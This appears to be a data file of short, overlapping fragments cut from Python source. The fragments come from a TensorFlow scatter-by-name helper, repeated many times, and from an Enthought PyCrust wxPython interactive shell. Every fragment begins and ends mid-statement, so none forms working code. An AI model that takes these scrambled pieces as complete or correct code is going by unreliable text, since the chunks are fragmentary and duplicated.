"elif segment_name in [\"segment_max\", \"max\", \"reduce_max\"]: pool = tf.tensor_scatter_nd_max(tensor, indices, updates, name=name) elif",
"tf @tf.function def tensor_scatter_nd_ops_by_name(segment_name, tensor, indices, updates, name=None): \"\"\"Scatter operation chosen by name",
"Indices to for updates. updates (tf.Tensor): Updates of new entries for tensor. name",
"= tf.tensor_scatter_nd_add(tensor, indices, updates, name=name) elif segment_name in [\"segment_max\", \"max\", \"reduce_max\"]: pool =",
"tf.tensor_scatter_nd_min(tensor, indices, updates, name=name) else: raise TypeError(\"Unknown pooling, choose: 'mean', 'sum', ...\") return",
"tensor. Returns: tf.Tensor: Updates scattered into tensor with different update rules. \"\"\" if",
"scattered into tensor with different update rules. \"\"\" if segment_name in [\"segment_sum\", \"sum\",",
"updates. updates (tf.Tensor): Updates of new entries for tensor. name (str): Name of",
"entries for tensor. name (str): Name of the tensor. Returns: tf.Tensor: Updates scattered",
"of new entries for tensor. name (str): Name of the tensor. Returns: tf.Tensor:",
"(str): Operation to update scattered updates. Either 'sum' or 'min' etc. tensor (tf.Tensor):",
"tensor_scatter_nd_ops_by_name(segment_name, tensor, indices, updates, name=None): \"\"\"Scatter operation chosen by name that pick tensor_scatter_nd",
"elif segment_name in [\"segment_min\", \"min\", \"reduce_min\"]: pool = tf.tensor_scatter_nd_min(tensor, indices, updates, name=name) else:",
"into tensor with different update rules. \"\"\" if segment_name in [\"segment_sum\", \"sum\", \"reduce_sum\",",
"\"add\"]: pool = tf.tensor_scatter_nd_add(tensor, indices, updates, name=name) elif segment_name in [\"segment_max\", \"max\", \"reduce_max\"]:",
"\"max\", \"reduce_max\"]: pool = tf.tensor_scatter_nd_max(tensor, indices, updates, name=name) elif segment_name in [\"segment_min\", \"min\",",
"chosen by name that pick tensor_scatter_nd functions. Args: segment_name (str): Operation to update",
"new entries for tensor. name (str): Name of the tensor. Returns: tf.Tensor: Updates",
"Name of the tensor. Returns: tf.Tensor: Updates scattered into tensor with different update",
"rules. \"\"\" if segment_name in [\"segment_sum\", \"sum\", \"reduce_sum\", \"add\"]: pool = tf.tensor_scatter_nd_add(tensor, indices,",
"'sum' or 'min' etc. tensor (tf.Tensor): Tensor to scatter updates into. indices (tf.Tensor):",
"pool = tf.tensor_scatter_nd_add(tensor, indices, updates, name=name) elif segment_name in [\"segment_max\", \"max\", \"reduce_max\"]: pool",
"\"\"\"Scatter operation chosen by name that pick tensor_scatter_nd functions. Args: segment_name (str): Operation",
"in [\"segment_max\", \"max\", \"reduce_max\"]: pool = tf.tensor_scatter_nd_max(tensor, indices, updates, name=name) elif segment_name in",
"updates, name=None): \"\"\"Scatter operation chosen by name that pick tensor_scatter_nd functions. Args: segment_name",
"segment_name in [\"segment_min\", \"min\", \"reduce_min\"]: pool = tf.tensor_scatter_nd_min(tensor, indices, updates, name=name) else: raise",
"name=name) elif segment_name in [\"segment_max\", \"max\", \"reduce_max\"]: pool = tf.tensor_scatter_nd_max(tensor, indices, updates, name=name)",
"etc. tensor (tf.Tensor): Tensor to scatter updates into. indices (tf.Tensor): Indices to for",
"that pick tensor_scatter_nd functions. Args: segment_name (str): Operation to update scattered updates. Either",
"functions. Args: segment_name (str): Operation to update scattered updates. Either 'sum' or 'min'",
"different update rules. \"\"\" if segment_name in [\"segment_sum\", \"sum\", \"reduce_sum\", \"add\"]: pool =",
"Returns: tf.Tensor: Updates scattered into tensor with different update rules. \"\"\" if segment_name",
"Args: segment_name (str): Operation to update scattered updates. Either 'sum' or 'min' etc.",
"import tensorflow as tf @tf.function def tensor_scatter_nd_ops_by_name(segment_name, tensor, indices, updates, name=None): \"\"\"Scatter operation",
"tf.tensor_scatter_nd_add(tensor, indices, updates, name=name) elif segment_name in [\"segment_max\", \"max\", \"reduce_max\"]: pool = tf.tensor_scatter_nd_max(tensor,",
"name that pick tensor_scatter_nd functions. Args: segment_name (str): Operation to update scattered updates.",
"\"reduce_sum\", \"add\"]: pool = tf.tensor_scatter_nd_add(tensor, indices, updates, name=name) elif segment_name in [\"segment_max\", \"max\",",
"updates (tf.Tensor): Updates of new entries for tensor. name (str): Name of the",
"def tensor_scatter_nd_ops_by_name(segment_name, tensor, indices, updates, name=None): \"\"\"Scatter operation chosen by name that pick",
"name=name) elif segment_name in [\"segment_min\", \"min\", \"reduce_min\"]: pool = tf.tensor_scatter_nd_min(tensor, indices, updates, name=name)",
"tensorflow as tf @tf.function def tensor_scatter_nd_ops_by_name(segment_name, tensor, indices, updates, name=None): \"\"\"Scatter operation chosen",
"update scattered updates. Either 'sum' or 'min' etc. tensor (tf.Tensor): Tensor to scatter",
"(tf.Tensor): Updates of new entries for tensor. name (str): Name of the tensor.",
"tf.Tensor: Updates scattered into tensor with different update rules. \"\"\" if segment_name in"
] |
[
"modification of previously submitted commands/responses. if not self.CanEdit(): return key = event.KeyCode() currpos",
"'Show __module__', 'Show __module__ entries in the tree view', 1) m.AppendMenu(ID_FILLING, '&Filling', fm,",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def OnExit(self, event): self.Close(True) def OnUndo(self,",
"-= 2 faces['lnsize'] -= 2 else: # GTK faces = { 'times' :",
"the BSD # license included in enthought/LICENSE.txt and may be redistributed only #",
"execution pending a response from the user.\"\"\" self.ask('Press enter to continue:') def clear(self):",
"go back to the fallback. tippos = max(tippos, fallback) self.CallTipShow(tippos, tip) def historyShow(self,",
"CanPaste(self): \"\"\"Return true if a paste should succeed.\"\"\" if self.CanEdit() and \\ (wxStyledTextCtrl.CanPaste(self)",
"pos=wxDefaultPosition, \\ size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='', \\ locals=None, InterpClass=None, *args, **kwds): \"\"\"Create a PyCrust",
"event.Enable(self.shell.CanCut()) elif id == wxID_COPY: event.Enable(self.shell.CanCopy()) elif id == wxID_PASTE: event.Enable(self.shell.CanPaste()) elif id",
"selected text, retaining prompts. Ctrl+X Cut selected text. Ctrl+V Paste from clipboard. Ctrl+Shift+V",
"32 # Mimic a space. #*** styleAfter = self.GetStyleAt(caretPos) if charAfter and chr(charAfter)",
"between the prompt and the cursor. # Add the '(' to the end",
"# Search upwards from the current history position and loop back # to",
"# Prevent modification of previously submitted commands/responses. if not self.CanEdit(): return key =",
"not self.more: self.addHistory(command.rstrip()) for handler in self.handlers: handler() self.prompt() def addHistory(self, command): \"\"\"Add",
"= self.fileMenu = wxMenu() m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit', 'Exit PyCrust') m = self.editMenu =",
"Commands are added into the front of # the list (ie. at index",
"redirectStderr(self, redirect=1): \"\"\"If redirect is true then sys.stderr will go to the shell.\"\"\"",
"allow line transposition. elif controlDown and key in (ord('T'), ord('t')): pass # Basic",
"+= chr(key) self.write(chr(key)) if self.autoComplete: self.autoCompleteShow(command) elif key == ord('('): # The left",
"text = text.replace(os.linesep + sys.ps1, '\\n') text = text.replace(os.linesep + sys.ps2, '\\n') text",
"class to add standard menu items.\"\"\" def createMenus(self): m = self.fileMenu = wxMenu()",
"1) fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__', 'Show __doc__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_MODULE,",
"1) m = self.calltipsMenu = wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show Call Tips', \\ 'Show call",
"# Python styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\")",
"+ \\ 'Yet another Python shell, only flakier.\\n\\n' + \\ 'Half-baked by <NAME>,\\n'",
"self.push(command) def runfile(self, filename): \"\"\"Execute all commands in file as if they were",
"tree.update() def OnFillingShowDoc(self, event): tree = self.crust.filling.fillingTree tree.showDoc = event.IsChecked() tree.update() def OnFillingShowModule(self,",
"text.split('\\n') commands = [] command = '' for line in lines: if line.strip()",
"Shift+Down Arrow Insert Next History item. F8 Command-completion of History item. (Type a",
"\"\"\"Display text in the shell. Replace line endings with OS-specific endings.\"\"\" text =",
"self.CanEdit(): event.Skip() elif currpos > self.promptPosEnd: event.Skip() # Only allow these keys after",
"= self.lstripPrompt(text) if command == text: command = '' # Real commands have",
"step): \"\"\"Insert the previous/next command from the history buffer.\"\"\" if not self.CanEdit(): return",
"verbose=1): \"\"\"Execute command within the shell as if it was typed in directly.",
"selected and can be cut.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd() \\ and self.GetSelectionStart() >=",
"a total hack job, but it works. text = self.GetCurLine()[0] line = self.GetCurrentLine()",
"auto completion during dot syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic Attributes', \\ 'Include attributes",
"ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE,",
"# you're on the current command, not in the history. self.history = []",
"elif id == ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif id == ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif id ==",
"braceOpposite = -1 charBefore = None caretPos = self.GetCurrentPos() if caretPos > 0:",
"into the history, unless it's a blank # line or the same as",
"PyCrust window.\"\"\" import sys title = 'About PyCrust' text = 'PyCrust %s\\n\\n' %",
"' '.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0) # Do we want to automatically pop",
"self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"if self.autoCallTip: self.autoCallTipShow(command) else: # Allow the normal event handling to take place.",
"over their # environment. They can override anything they want. try: self.execStartupScript(self.interp.startupScript) except:",
"self.AutoCompActive(): event.Skip() # Let Ctrl-Alt-* get handled normally. elif controlDown and altDown: event.Skip()",
"# In case there isn't enough room, only go back to the fallback.",
"the editor. The command may not necessarily be valid Python syntax.\"\"\" # XXX",
"parent, id, pos, size, style) # Grab these so they can be restored",
"Mimic a space. #*** styleBefore = self.GetStyleAt(caretPos - 1) # Check before. if",
"online at http://www.enthought.com/licenses/BSD.txt # Thanks for using Enthought open source! # # Author:",
"end of the command. self.ReplaceSelection('') command = self.GetTextRange(stoppos, currpos) + '(' self.write('(') if",
"to extract real prompts here. Need to keep track of the # prompt",
"in (ord('T'), ord('t')): pass # Basic navigation keys should work anywhere. elif key",
"not command: # Match the behavior of the standard Python shell when #",
"= os.linesep.join(lines) return text def prompt(self): \"\"\"Display appropriate prompt for the context, either",
"i break def setStatusText(self, text): \"\"\"Display status information.\"\"\" # This method will most",
"data = enClipboard.data self.python_obj_paste_handler(data) finally: wxTheClipboard.Close() return def PasteAndRun(self): \"\"\"Replace selection with clipboard",
"may be positive to magnify or negative to reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL = wxNewId()",
"EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def",
"controlDown and key in (ord('T'), ord('t')): pass # Basic navigation keys should work",
"available at the SourceForge project page at http://sourceforge.net/projects/pycrust/. Sponsored by Orbtech - Your",
"(Cntrl+Enter) is used to insert a line break. elif controlDown and key ==",
"# from our singleton clipboard instance data = enClipboard.data self.python_obj_paste_handler(data) finally: wxTheClipboard.Close() return",
"a selection that includes text prior to the prompt. # # Don't modify",
"0 or command != self.history[0]): self.history.insert(0, command) def write(self, text): \"\"\"Display text in",
"is the current position in the history; it gets incremented as you #",
"self.OnHistorySearch() # Show all history entries that match the command typed so far:",
"% VERSION + \\ 'Yet another Python shell, only flakier.\\n\\n' + \\ 'Half-baked",
"self.GetCurrentPos() if caretPos > 0: charBefore = self.GetCharAt(caretPos - 1) #*** Patch to",
"and key in (ord('C'), ord('c'), WXK_INSERT): self.Copy() # Copy to the clipboard, including",
"EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"Shift+Up Arrow Insert Previous History item. Shift+Down Arrow Insert Next History item. F8",
"'#FFFFFF', } class ShellFacade: \"\"\"Simplified interface to all shell-related functionality. This is a",
"tree view', 1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__', 'Show __module__ entries in the tree view',",
"like write to a status bar. print(text) def insertLineBreak(self): \"\"\"Insert a new line",
"line endings with OS-specific endings.\"\"\" text = self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible() def fixLineEndings(self, text):",
"We've now warped into middle of the history. self.historyIndex = i break def",
"break.\"\"\" if self.CanEdit(): self.write(os.linesep) self.more = 1 self.prompt() def processLine(self): \"\"\"Process the line",
"put the cursor back where we started. else: self.SetCurrentPos(thepos) self.SetAnchor(thepos) def getMultilineCommand(self, rstrip=1):",
"= dialog.GetValue() return text finally: dialog.Destroy() return '' def pause(self): \"\"\"Halt execution pending",
"at the SourceForge project page at http://sourceforge.net/projects/pycrust/. Sponsored by Orbtech - Your source",
"the prompt. elif key == WXK_HOME: home = self.promptPosEnd if currpos > home:",
"'\\n'.join(completions)) return 1 def writeOut(self, text): \"\"\"Replacement for stdout.\"\"\" self.write(text) def writeErr(self, text):",
"Add to the command. command += '\\n' command += line commands.append(command) for command",
"the current command, execute the command. if self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more = 0 command",
"event.Enable(self.shell.CanUndo()) elif id == wxID_REDO: event.Enable(self.shell.CanRedo()) elif id == wxID_CUT: event.Enable(self.shell.CanCut()) elif id",
"wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId() ID_CALLTIPS = wxNewId() ID_CALLTIPS_SHOW = wxNewId()",
"line in lines: if line.strip() != '' and line.lstrip() == line: # New",
"def setLocalShell(self): \"\"\"Add 'shell' to locals as reference to ShellFacade instance.\"\"\" self.interp.locals['shell'] =",
"and shiftDown \\ and key in (ord('V'), ord('v')): self.PasteAndRun() # Replace with the",
"Magic Attributes', \\ 'Include attributes visible to __getattr__ and __setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include",
"event and let the surrounding app # decide what it wants to do.",
"ps2 or ps3. If this is a continuation line, autoindent as necessary.\"\"\" isreading",
"shell.\"\"\" self.write(self.helpText) def __getattr__(self, name): if hasattr(self.other, name): return getattr(self.other, name) else: raise",
"<= newindex <= len(history): self.historyIndex = newindex if 0 <= newindex <= len(history)-1:",
"OnClear(self, event): self.shell.Clear() def OnSelectAll(self, event): self.shell.SelectAll() def OnAbout(self, event): \"\"\"Display an About",
"'other' : 'Comic Sans MS', 'size' : 10, 'lnsize' : 9, 'backcol': '#FFFFFF',",
"'Show __module__ entries in the tree view', 1) m.AppendMenu(ID_FILLING, '&Filling', fm, 'Filling Options')",
"ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu)",
"faces) self.StyleClearAll() # Built in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" %",
"faces = { 'times' : 'Times New Roman', 'mono' : 'Courier New', 'helv'",
"if self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more = 0 command = self.GetTextRange(startpos, endpos) lines = command.split(os.linesep",
"# local imports from .drag_and_drop import PythonObject from .drag_and_drop import clipboard as enClipboard",
"= text.replace(os.linesep + sys.ps2, '\\n') text = text.replace(os.linesep, '\\n') lines = text.split('\\n') commands",
"self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, ' '.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0) #",
"to the command history.\"\"\" # Reset the history position. self.historyIndex = -1 self.historyPrefix",
"close button to leave the application.' def quit(self): \"\"\"Quit the application.\"\"\" # XXX",
"self.autoComplete = 1 self.autoCompleteIncludeMagic = 1 self.autoCompleteIncludeSingle = 1 self.autoCompleteIncludeDouble = 1 self.autoCompleteCaseInsensitive",
"# Prevent modification of previously submitted commands/responses. key = event.KeyCode() controlDown = event.ControlDown()",
"in wxSTC for wxPython < 2.3.3. if charAfter < 0: charAfter = 32",
"we don't find anything. if (self.historyIndex <= -1) \\ or (self.historyIndex >= len(self.history)-2):",
"the shell.\"\"\" if redirect: sys.stdin = self.reader else: sys.stdin = self.stdin def redirectStdout(self,",
"the autocomplete character to the end of the command. command = self.GetTextRange(stoppos, currpos)",
"functionality. This is a semi-transparent facade, in that all attributes of other are",
"Grab these so they can be restored by self.redirect* methods. self.stdin = sys.stdin",
"it gets incremented as you # retrieve the previous command, decremented as you",
"def destroy(self): # del self.interp pass def config(self): \"\"\"Configure shell based on user",
"WXK_UP) \\ or (altDown and key in (ord('P'), ord('p'))): self.OnHistoryReplace(step=+1) # Replace with",
"key == WXK_DOWN) \\ or (altDown and key in (ord('N'), ord('n'))): self.OnHistoryReplace(step=-1) #",
"1 self.GotoLine(line) stoppos = self.GetCurrentPos() command = self.GetTextRange(startpos, stoppos) command = command.replace(os.linesep +",
"'mono' : 'Courier New', 'helv' : 'Lucida Console', 'lucida' : 'Lucida Console', 'other'",
"'\\n'.join(list) offset = 0 self.AutoCompShow(offset, options) def autoCallTipShow(self, command): \"\"\"Display argument spec and",
"command def getCommand(self, text=None, rstrip=1): \"\"\"Extract a command from text which may include",
"selected and can be copied.\"\"\" return self.GetSelectionStart() != self.GetSelectionEnd() def CanPaste(self): \"\"\"Return true",
"a new command, which may be multiline. command = line else: # Multiline",
"a single underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double Underscores', \\ 'Include attibutes prefixed by",
"and not shiftDown: self.SetAnchor(home) self.EnsureCaretVisible() else: event.Skip() # # The following handlers modify",
"of text leaving just the command. command = self.lstripPrompt(text) if command == text:",
"self.GetCurrentLine() self.GotoLine(line) startpos = self.GetCurrentPos() + ps1size line += 1 self.GotoLine(line) while self.GetCurLine()[0][:ps2size]",
"methods. self.stdin = sys.stdin self.stdout = sys.stdout self.stderr = sys.stderr self.handlers = []",
"< 0: charBefore = 32 # Mimic a space. #*** styleBefore = self.GetStyleAt(caretPos",
"len(completions) == 0: return 0 if len(completions) == 1: self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command), '\\n'.join(completions))",
"try: self.showIntro(introText) except: pass # Assign some pseudo keywords to the interpreter's namespace.",
"Check before. if charBefore and chr(charBefore) in '[]{}()' \\ and styleBefore == wxSTC_P_OPERATOR:",
"'&Undo \\tCtrl+Z', 'Undo the last action') m.Append(wxID_REDO, '&Redo \\tCtrl+Y', 'Redo the last undone",
"elif key == WXK_F8: self.OnHistorySearch() # Show all history entries that match the",
"Next History item. Shift+Up Arrow Insert Previous History item. Shift+Down Arrow Insert Next",
"the clipboard, including prompts. elif controlDown and shiftDown \\ and key in (ord('C'),",
"which the user hit Enter.\"\"\" # The user hit ENTER and we need",
"'Undo the last action') m.Append(wxID_REDO, '&Redo \\tCtrl+Y', 'Redo the last undone action') m.AppendSeparator()",
"= 32 # Mimic a space. #*** styleBefore = self.GetStyleAt(caretPos - 1) #",
"receives an event if OnKeyDown calls event.Skip() for the corresponding event.\"\"\" # Prevent",
"0 self.promptPosEnd = 0 # Keep track of multi-line commands. self.more = 0",
"cursor back where we started. else: self.SetCurrentPos(thepos) self.SetAnchor(thepos) def getMultilineCommand(self, rstrip=1): \"\"\"Extract a",
"the selection') m.Append(wxID_COPY, '&Copy \\tCtrl+C', 'Copy the selection') m.Append(wxID_PASTE, '&Paste \\tCtrl+V', 'Paste') m.AppendSeparator()",
"event): tree = self.crust.filling.fillingTree tree.showDict = event.IsChecked() tree.update() def OnFillingShowDoc(self, event): tree =",
"tree.update() def OnFillingShowModule(self, event): tree = self.crust.filling.fillingTree tree.showModule = event.IsChecked() tree.update() def OnUpdateMenu(self,",
"included in enthought/LICENSE.txt and may be redistributed only # under the conditions described",
"event.Check(self.crust.filling.fillingTree.autoUpdate) elif id == ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif id == ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif id",
"'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ] list.sort() return list class Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell based",
"PyCrust') m = self.editMenu = wxMenu() m.Append(wxID_UNDO, '&Undo \\tCtrl+Z', 'Undo the last action')",
"replacement for stdin. self.reader = PseudoFileIn(self.readline) self.reader.input = '' self.reader.isreading = 0 #",
"= self.GetCurrentPos() + ps1size line += 1 self.GotoLine(line) while self.GetCurLine()[0][:ps2size] == ps2: line",
"def push(self, command): \"\"\"Send command to the interpreter for execution.\"\"\" self.write(os.linesep) busy =",
"key == 1241712: # Is there a 'name' for the Enter key? self.processLine()",
"def Cut(self): \"\"\"Remove selection and place it on the clipboard.\"\"\" if self.CanCut() and",
"latest non-continuation prompt. elif key == WXK_BACK: if selecting and self.CanEdit(): event.Skip() elif",
"enter your response:'): \"\"\"Get response from the user using a dialog box.\"\"\" dialog",
"command.rstrip() if prompt: self.prompt() if verbose: self.write(command) self.push(command) def runfile(self, filename): \"\"\"Execute all",
"\"\"\"Display some useful information about how to use the shell.\"\"\" self.write(self.helpText) def __getattr__(self,",
"Tips', \\ 'Show call tips with argument specifications', 1) m = self.optionsMenu =",
"default locals so we have something interesting. shellLocals = {'__name__': 'PyCrust-Shell', '__doc__': 'PyCrust-Shell,",
"Win platform. # The font was 2 points too large. So we need",
"\\ ('startupText', 'startupScript')) else: self.push('') def setStyles(self, faces): \"\"\"Configure font size, typeface and",
"elif (controlDown and key == WXK_UP) \\ or (altDown and key in (ord('P'),",
"# XXX Need to extract real prompts here. Need to keep track of",
"command from the history buffer.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos() self.replaceFromHistory(step)",
"with the previous command from the history buffer. elif (controlDown and key ==",
"the tree view', 1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__', 'Show __module__ entries in the tree",
"in the oven.\\n\\n' + \\ 'Shell Revision: %s\\n' % self.shell.revision + \\ 'Interpreter",
"enclosing app # to do something more interesting, like write to a status",
"import os import sys from wx.py.pseudo import PseudoFileIn, PseudoFileOut, PseudoFileErr from wx.py.version import",
"prior to 2.3.2 had a sizing bug on Win platform. # The font",
"PyCrust Shell instance.\"\"\" wxStyledTextCtrl.__init__(self, parent, id, pos, size, style) # Grab these so",
"l in range(len(lines)): chunks = lines[l].split('\\r') for c in range(len(chunks)): chunks[c] = os.linesep.join(chunks[c].split('\\n'))",
"self.OnSelectAll) EVT_MENU(self, wxID_ABOUT, self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self,",
"it on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() command = command.replace(os.linesep +",
"the corresponding event.\"\"\" # Prevent modification of previously submitted commands/responses. if not self.CanEdit():",
"# Import a default interpreter class if one isn't provided. if InterpClass ==",
"with clipboard contents, run commands.\"\"\" if wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if",
"# All rights reserved. # # This software is provided without warranty under",
"OnKeyDown(self, event): \"\"\"Key down event handler.\"\"\" # Prevent modification of previously submitted commands/responses.",
"__class__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__', 'Show __dict__ entries",
"component> #------------------------------------------------------------------------------ \"\"\"The PyCrust Shell is an interactive text control in which a",
"to the interpreter. This particular shell is based on wxPython's wxStyledTextCtrl. The latest",
"http://www.enthought.com/licenses/BSD.txt # Thanks for using Enthought open source! # # Author: Enthought, Inc.",
"self.historyMatches = None prefix = self.getCommand(rstrip=0) n = len(prefix) if n > 0:",
"= command.replace('\\n', os.linesep + sys.ps2) self.ReplaceSelection(command) def OnHistoryInsert(self, step): \"\"\"Insert the previous/next command",
"if InterpClass == None: from PyCrust.interpreter import Interpreter else: Interpreter = InterpClass #",
"and place it on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() command =",
"About PyCrust window.\"\"\" import sys title = 'About PyCrust' text = 'PyCrust %s\\n\\n'",
"history, unless it's a blank # line or the same as the last",
"of the cursor. elif key == WXK_F8: self.OnHistorySearch() # Show all history entries",
"file.readlines(): if command[:6] == 'shell.': # Run shell methods silently. self.run(command, prompt=0, verbose=0)",
"ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif id == ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif id == ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif",
"for which keycodes the interpreter will autocomplete. self.autoCompleteKeys = self.interp.getAutoCompleteKeys() # Keep track",
"self.CanPaste() and wxTheClipboard.Open(): try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): self.ReplaceSelection('') command",
"and \"quit\" to a helpful string. \"\"\" import six.moves.builtins six.moves.builtins.close = six.moves.builtins.exit =",
"retaining prompts. Ctrl+X Cut selected text. Ctrl+V Paste from clipboard. Ctrl+Shift+V Paste and",
"return list class Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell based on wxStyledTextCtrl.\"\"\" name = 'PyCrust Shell'",
"# Check after. if braceAtCaret < 0: charAfter = self.GetCharAt(caretPos) #*** Patch to",
"faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\")",
"paste should succeed.\"\"\" if self.CanEdit() and \\ (wxStyledTextCtrl.CanPaste(self) or \\ wxTheClipboard.IsSupported(PythonObject)): return 1",
"Don't modify a selection with text prior to the prompt. elif selecting and",
"try: self.setBuiltinKeywords() except: pass # Add 'shell' to the interpreter's local namespace. try:",
"text = text.replace(os.linesep + sys.ps2, '\\n') text = text.replace(os.linesep, '\\n') lines = text.split('\\n')",
"on user preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, ' '.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0)",
"if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive(): self.CallTipCancel() if (not self.more and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) ==",
"the standard Python shell when # the user hits return without entering a",
"of the history. self.historyIndex = i break def setStatusText(self, text): \"\"\"Display status information.\"\"\"",
"Shell is an interactive text control in which a user types in commands",
"# Add 'shell' to the interpreter's local namespace. try: self.setLocalShell() except: pass #",
"command history.\"\"\" # Reset the history position. self.historyIndex = -1 self.historyPrefix = 0",
"not in matches: matches.append(command) self.clearCommand() self.replaceFromHistory(step, self.historyMatches) def replaceFromHistory(self, step, history=None): \"\"\"Replace selection",
"= command self.write(os.linesep) else: self.push(command) # Or replace the current command with the",
"navigation keys should work anywhere. elif key in NAVKEYS: event.Skip() # Protect the",
"large. So we need to reduce the font size. if (wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER)",
"item. Alt+N Retrieve Next History item. Shift+Up Arrow Insert Previous History item. Shift+Down",
"Allow the normal event handling to take place. event.Skip() def OnKeyDown(self, event): \"\"\"Key",
"keep track of the # prompt every time a command is issued. ps1",
"let the surrounding app # decide what it wants to do. self.write('Click on",
"by OS-specific endings.\"\"\" lines = text.split('\\r\\n') for l in range(len(lines)): chunks = lines[l].split('\\r')",
"self.prompt() def processLine(self): \"\"\"Process the line of text at which the user hit",
